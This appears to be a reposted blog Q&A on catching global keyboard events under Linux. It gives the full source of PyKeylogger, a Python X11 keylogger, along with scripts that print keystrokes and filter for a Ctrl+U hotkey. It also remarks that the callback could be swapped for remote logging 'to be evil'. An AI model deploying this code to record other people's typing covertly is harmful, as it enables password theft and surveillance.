Source From Here
Question
I want to write a program that can monitor for a global keyboard event. However, I have no idea how to implement this on a Linux-based system. Anyone know how to get started?
How-To
PyKeylogger is a proof of concept of a pure-python keylogger for linux. It uses Xlib (so you must have an X connection!) to monitor the state of the keyboard. Here's how you use it:
- test.py
This will print key events to stdout for 60 seconds. If you wanted to be evil, instead of passing in a print callback, you could pass in a remote logging precedure.
Sample output:
Below is the modified version of keylogger.py which allow you to register callback for interested keyboard event:
- keylogger.py
Then you can use below sample code to trigger callback by ^U (
Ctrl+U):
Question
I want to write a program that can monitor for a global keyboard event. However, I have no idea how to implement this on a Linux-based system. Anyone know how to get started?
How-To
PyKeylogger is a proof of concept of a pure-python keylogger for linux. It uses Xlib (so you must have an X connection!) to monitor the state of the keyboard. Here's how you use it:
- test.py
- #!/usr/bin/env python
- import keylogger
- import time
- now = time.time()
- done = lambda: time.time() > now + 60
- def print_keys(t, modifiers, keys): print "%.2f %r %r" % (t, keys, modifiers)
- keylogger.log(done, print_keys)
Sample output:
Below is the modified version of keylogger.py which allow you to register callback for interested keyboard event:
- keylogger.py
- # Copyright (c) 2011, Andrew Moffat
- # All rights reserved.
- # Redistribution and use in source and binary forms, with or without
- # modification, are permitted provided that the following conditions are met:
- # * Redistributions of source code must retain the above copyright
- # notice, this list of conditions and the following disclaimer.
- # * Redistributions in binary form must reproduce the above copyright
- # notice, this list of conditions and the following disclaimer in the
- # documentation and/or other materials provided with the distribution.
- # * Neither the name of the
nor the - # names of its contributors may be used to endorse or promote products
- # derived from this software without specific prior written permission.
- # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
- # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- # DISCLAIMED. IN NO EVENT SHALL
BE LIABLE FOR ANY - # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- import sys
- from time import sleep, time
- import ctypes as ct
- from ctypes.util import find_library
- # linux only!
- assert("linux" in sys.platform)
- x11 = ct.cdll.LoadLibrary(find_library("X11"))
- display = x11.XOpenDisplay(None)
- # this will hold the keyboard state. 32 bytes, with each
- # bit representing the state for a single key.
- keyboard = (ct.c_char * 32)()
- # these are the locations (byte, byte value) of special
- # keys to watch
- shift_keys = ((6,4), (7,64))
- modifiers = {
- "left shift": (6,4),
- "right shift": (7,64),
- "left ctrl": (4,32),
- "right ctrl": (13,2),
- "left alt": (8,1),
- "right alt": (13,16)
- }
- last_pressed = set()
- last_pressed_adjusted = set()
- last_modifier_state = {}
- caps_lock_state = 0
- # key is byte number, value is a dictionary whose
- # keys are values for that byte, and values are the
- # keys corresponding to those byte values
- key_mapping = {
- 1: {
- 0b00000010: "
" , - 0b00000100: ("1", "!"),
- 0b00001000: ("2", "@"),
- 0b00010000: ("3", "#"),
- 0b00100000: ("4", "$"),
- 0b01000000: ("5", "%"),
- 0b10000000: ("6", "^"),
- },
- 2: {
- 0b00000001: ("7", "&"),
- 0b00000010: ("8", "*"),
- 0b00000100: ("9", "("),
- 0b00001000: ("0", ")"),
- 0b00010000: ("-", "_"),
- 0b00100000: ("=", "+"),
- 0b01000000: "
" , - 0b10000000: "
" , - },
- 3: {
- 0b00000001: ("q", "Q"),
- 0b00000010: ("w", "W"),
- 0b00000100: ("e", "E"),
- 0b00001000: ("r", "R"),
- 0b00010000: ("t", "T"),
- 0b00100000: ("y", "Y"),
- 0b01000000: ("u", "U"),
- 0b10000000: ("i", "I"),
- },
- 4: {
- 0b00000001: ("o", "O"),
- 0b00000010: ("p", "P"),
- 0b00000100: ("[", "{"),
- 0b00001000: ("]", "}"),
- 0b00010000: "
" , - #0b00100000: "
" , - 0b01000000: ("a", "A"),
- 0b10000000: ("s", "S"),
- },
- 5: {
- 0b00000001: ("d", "D"),
- 0b00000010: ("f", "F"),
- 0b00000100: ("g", "G"),
- 0b00001000: ("h", "H"),
- 0b00010000: ("j", "J"),
- 0b00100000: ("k", "K"),
- 0b01000000: ("l", "L"),
- 0b10000000: (";", ":"),
- },
- 6: {
- 0b00000001: ("'", "\""),
- 0b00000010: ("`", "~"),
- #0b00000100: "
" , - 0b00001000: ("\\", "|"),
- 0b00010000: ("z", "Z"),
- 0b00100000: ("x", "X"),
- 0b01000000: ("c", "C"),
- 0b10000000: ("v", "V"),
- },
- 7: {
- 0b00000001: ("b", "B"),
- 0b00000010: ("n", "N"),
- 0b00000100: ("m", "M"),
- 0b00001000: (",", "<"),
- 0b00010000: (".", ">"),
- 0b00100000: ("/", "?"),
- #0b01000000: "
" , - },
- 8: {
- #0b00000001: "
" , - 0b00000010: " ",
- 0b00000100: "
" , - },
- 13: {
- #0b00000010: "
" , - #0b00010000: "
" , - },
- }
- def fetch_keys_raw():
- x11.XQueryKeymap(display, keyboard)
- return keyboard
- def fetch_keys():
- global caps_lock_state, last_pressed, last_pressed_adjusted, last_modifier_state
- keypresses_raw = fetch_keys_raw()
- # check modifier states (ctrl, alt, shift keys)
- modifier_state = {}
- for mod, (i, byte) in modifiers.iteritems():
- modifier_state[mod] = bool(ord(keypresses_raw[i]) & byte)
- # shift pressed?
- shift = 0
- for i, byte in shift_keys:
- if ord(keypresses_raw[i]) & byte:
- shift = 1
- break
- # caps lock state
- if ord(keypresses_raw[8]) & 4: caps_lock_state = int(not caps_lock_state)
- # aggregate the pressed keys
- pressed = []
- for i, k in enumerate(keypresses_raw):
- o = ord(k)
- if o:
- for byte,key in key_mapping.get(i, {}).iteritems():
- if byte & o:
- if isinstance(key, tuple): key = key[shift or caps_lock_state]
- pressed.append(key)
- tmp = pressed
- pressed = list(set(pressed).difference(last_pressed))
- state_changed = tmp != last_pressed and (pressed or last_pressed_adjusted)
- last_pressed = tmp
- last_pressed_adjusted = pressed
- if pressed: pressed = pressed[0]
- else: pressed = None
- state_changed = last_modifier_state and (state_changed or modifier_state != last_modifier_state)
- last_modifier_state = modifier_state
- return state_changed, modifier_state, pressed
- def log(done, callback, filterfun=None, sleep_interval=.005):
- while not done():
- sleep(sleep_interval)
- changed, modifiers, keys = fetch_keys()
- if changed and (filterfun==None or filterfun(keys, modifiers)):
- callback(time(), modifiers, keys)
- if __name__ == "__main__":
- now = time()
- done = lambda: time() > now + 60
- def print_keys(t, modifiers, keys): print "%.2f %r %r" % (t, keys, modifiers)
- log(done, print_keys)
- #!/usr/bin/env python
- import keylogger
- import time
- now = time.time()
- done = lambda: time.time() > now + 60
- def print_keys(t, modifiers, keys):
- print "\n%.2f %r %r" % (t, keys, modifiers)
- def filter(key, modifiers):
- if key!=None and key in ['u', 'U'] and (modifiers['left ctrl'] or modifiers['right ctrl']):
- return True
- return False
- keylogger.log(done, print_keys, filter)
沒有留言:
張貼留言